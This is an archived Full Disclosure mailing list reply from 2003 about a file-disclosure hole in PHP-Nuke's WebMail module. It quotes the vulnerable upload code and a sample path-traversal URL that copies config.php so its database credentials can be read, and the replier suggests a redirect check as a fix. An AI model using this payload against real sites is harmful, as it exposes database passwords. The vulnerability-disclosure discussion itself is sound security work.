Full Disclosure mailing list archives
Re: php-nuke again ...
From: Pawel Kaczor <paczor () fubar pl>
Date: Tue, 21 Jan 2003 09:25:44 +0100 (CET)
On Wed, 15 Jan 2003, Karol Więsek wrote:
snip from mailatach.php if (isset($userfile) AND $userfile != "none") { if (ini_get(file_uploads) AND $attachments == 1) { $updir = "tmp"; @copy($userfile, "$updir/$userfile_name"); Sample attack which allows an attacker to grab database password and login. http://target.server/modules/WebMail/mailattach.php? userfile=../../config.php&userfile_name=../attachments/file.txt& attachments=1
I wasn't able to provide this attack succssefully but there's easy way of prevention - one can put those lines at the beginning of mailattach.php file: if (eregi("mailattach.php",$PHP_SELF)) { Header("Location: ../../index.php"); die(); } -- ------------------------------------------------------------------ "A z kwiatków, jakie pan lubi najbardziej? Sztukamięs z kwiatkiem" ----------------------------------[pawel kaczor paczor () fubar pl]-- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- php-nuke again ... Karol Więsek (Jan 15)
- Re: php-nuke again ... Pawel Kaczor (Jan 21)
- Message not available
- Re: Re: php-nuke again ... Melvyn Sopacua (Jan 21)